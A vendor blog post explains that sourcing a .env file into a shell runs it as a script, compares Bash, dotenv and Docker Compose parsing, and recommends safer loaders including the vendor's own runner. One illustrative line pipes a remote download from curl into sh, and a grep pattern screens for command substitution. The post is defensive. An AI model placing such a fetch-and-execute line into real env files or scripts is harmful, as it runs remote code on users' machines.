source .env can run code: loading env files into a shell
set -a; source .env runs the file as a shell script, so $(…) and backticks execute. Why shells and dotenv parsers disagree, and safer ways to load .env.
Crunu teamPublished 7 min read
On this page
set -a; source .env doesn't parse a .env file. It runs it as a shell script. Bash's . command, which source is another name for, "reads and execute commands from the filename argument in the current shell context", so any $(…) or backtick in a value is executed as a command, ${…} is expanded, and an unquoted value with a space runs the rest of the line as a command. That is harmless for a file you wrote yourself and dangerous for one that came from a colleague, a template or a pull request. The safer options are to let the program load the file with its own parser, or to start it with a tool that passes variables without a shell, such as crunu run.
This post shows exactly what the shell does with each kind of value, where shell rules and dotenv libraries disagree, how to check a file before sourcing it, and the alternatives. If you're also deciding what belongs in Git, see should you commit .env files.
What the shell actually does
The common one-liner is:
set -a
. ./.env
set +aset -a makes every variable you define exported: Bash's manual says each variable "that is created or modified is given the export attribute and marked for export to the environment of subsequent commands" (Bash: the set builtin). Then . runs the file (Bash: Bourne shell builtins). Each KEY=VALUE line is an ordinary shell assignment, and an assignment's value goes through "tilde expansion, parameter expansion, command substitution, arithmetic expansion, and quote removal" before it is assigned (Bash: simple command expansion).
Command substitution is the part that runs code. Bash "performs command substitution by executing command in a subshell environment", for both $(command) and the older backtick form (Bash: command substitution). So these lines, sourced, all execute something:
# Runs curl while loading the file
BUILD_ID=$(curl -s https://example.com/x | sh)
# Backticks are command substitution in a shell
WELCOME=`whoami`
# No quotes and a space: "World" is run as a command, with GREETING=Hello in its environment
GREETING=Hello WorldThe last one surprises people most. A line of the form NAME=value word is a command with a temporary variable assignment in front of it. The shell sets GREETING=Hello for that one command and tries to run World.
Why it matters for secrets: the file is loaded into the shell that holds your other credentials, your SSH agent and your cloud session. A value that runs a command runs it as you.
Where shells and dotenv parsers disagree
Even when nothing malicious is in the file, a shell and a dotenv library can read the same line differently. Libraries don't execute anything; they follow their own rules, and the rules differ from the shell's.
| Line | Bash, when sourced | Node.js dotenv | Docker Compose .env |
|---|---|---|---|
A=`text` | Runs text as a command | Backticks are a quote character | Not documented as a quote |
A="${HOME}/x" | Expands ${HOME} | Kept literally | Interpolated |
A='${HOME}/x' | Literal | Literal | Literal |
A="line\nbreak" | Backslash and n stay as typed | Newline | Newline |
A=abc#def | abc#def | # starts a comment, unless quoted | abc#def; a comment needs a space before # |
A=Hello World | Runs World | Hello World | Hello World |
The sources for each column: the Node.js dotenv README lists its parsing rules, including "# marks the beginning of a comment (unless when the value is wrapped in quotes)", "double quoted values expand new lines" and "backticks are supported" as a way to quote, and it leaves variable expansion to dotenvx (dotenv README). Docker Compose's rules say "unquoted and double-quoted values have interpolation applied", "single-quoted values are used literally", and "inline comments for unquoted values must be preceded with a space" (Docker Compose: interpolation). For Bash, a comment is "a word beginning with ‘#’", and a word begins "at the beginning of a line, after unquoted whitespace, or after an operator" (Bash: comments).
The practical consequence: a password like abc#def works in a sourced shell and in Compose, and is silently cut to abc by a library that follows the dotenv rule. A .env that works in one place is not proof it works in another.
Check a file before you source it
If you must source a file, make every value inert first. A value is safe to source when it is either:
- plain: letters, digits and a small set of punctuation such as
_ - . / : , @ % + =, with no spaces; - single-quoted:
'like this', which the shell takes literally, with no$, backtick or backslash processing.
Double quotes are safe only if the value contains no $, no backtick and no backslash. Anything else should be single-quoted or rejected.
A quick screen for obvious problems:
grep -nE '\$\(|`|\$\{|^[A-Za-z_][A-Za-z0-9_]*=[^"'"'"'#[:space:]]+[[:space:]]+[^#[:space:]]' .envIt flags command substitution, backticks, parameter expansion and unquoted values followed by more words. It is a screen, not a parser. It also flags some safe lines, such as a backtick inside single quotes, so read each hit; and when it prints nothing, the file has none of these patterns, which is not a guarantee that it is safe. The env linter runs a stricter check in the browser and points at each line that would execute. The glossary entry on shell sourcing has more detail.
Files you didn't write
The risk is highest with files that arrive from somewhere else: a .env.example in a repository you just cloned, a file attached to a ticket, a project template, a pull request that "only changes config". A setup script that does cp .env.example .env && set -a && . ./.env runs whatever the template contains on the machine of every new contributor.
Review env files in pull requests with the same care as scripts, and keep setup scripts from sourcing them. If a script must read a value, read just that one line as data, for example with grep '^API_URL=' .env | cut -d= -f2-, which prints the value without evaluating it. That doesn't handle quotes, so use it only for values you know are plain.
Safer ways to load a .env
Let the program load it. If the application already uses a dotenv library, don't source the file in the shell at all. The library reads the file as data, by its own rules, and runs nothing. The only cost is that the variables exist in the program, not in your interactive shell, which is usually what you want.
Use a format that isn't a shell script. systemd's EnvironmentFile= reads "newline-separated variable assignments" from a text file; it applies shell-like backslash rules but no expansion or command substitution, and "a '-quoted value after the = can span multiple lines and contain any character verbatim other than single quote" (systemd.exec). Docker's --env-file and Compose's env_file read files with their own rules, without running anything.
Start the program with the variables, without a shell. A runner that puts variables straight into the program's process environment never evaluates them, so a backtick stays a backtick.
With Crunu, that runner is crunu run:
crunu run --env web-app/development -- npm run devIt reads the variables of files marked Load as environment variables (crunu run), decrypts them in memory and passes them to the program through its process environment; no shell parses them and nothing is written to disk. Before such a file is loaded, Crunu checks that no value could run as a shell command when the file is sourced, and a file that fails gets a can run commands label when you add it. So a teammate who still sources an exported copy doesn't get a surprise, and the label tells you which file to fix. See crunu run and files and variables.
crunu run --env-file .env -- npm run dev reads variables from a local env file instead of the server, which is useful for trying the runner on a project before moving its values. For services managed by systemd, crunu pull --env-out writes the variables to a file for EnvironmentFile= with permissions 0600.
A rule of thumb
Treat sourcing a .env like running a script, because it is one. Source only files you wrote or reviewed, single-quote values that contain anything unusual, and for everything else, prefer a loader that reads the file as data. The program needs the values; your shell rarely does, and a shell full of exported secrets passes them to every command you run next, including ones that have nothing to do with the app.
Sources
- The set builtin, Bash Reference Manual, checked October 30, 2026.
- Bourne shell builtins, Bash Reference Manual, checked October 30, 2026.
- Simple command expansion, Bash Reference Manual, checked October 30, 2026.
- Command substitution, Bash Reference Manual, checked October 30, 2026.
- Comments, Bash Reference Manual, checked October 30, 2026.
- dotenv README, checked October 30, 2026.
- Set, use, and manage variables in a Compose file with interpolation, Docker documentation, checked October 30, 2026.
- systemd.exec, systemd manual, checked October 30, 2026.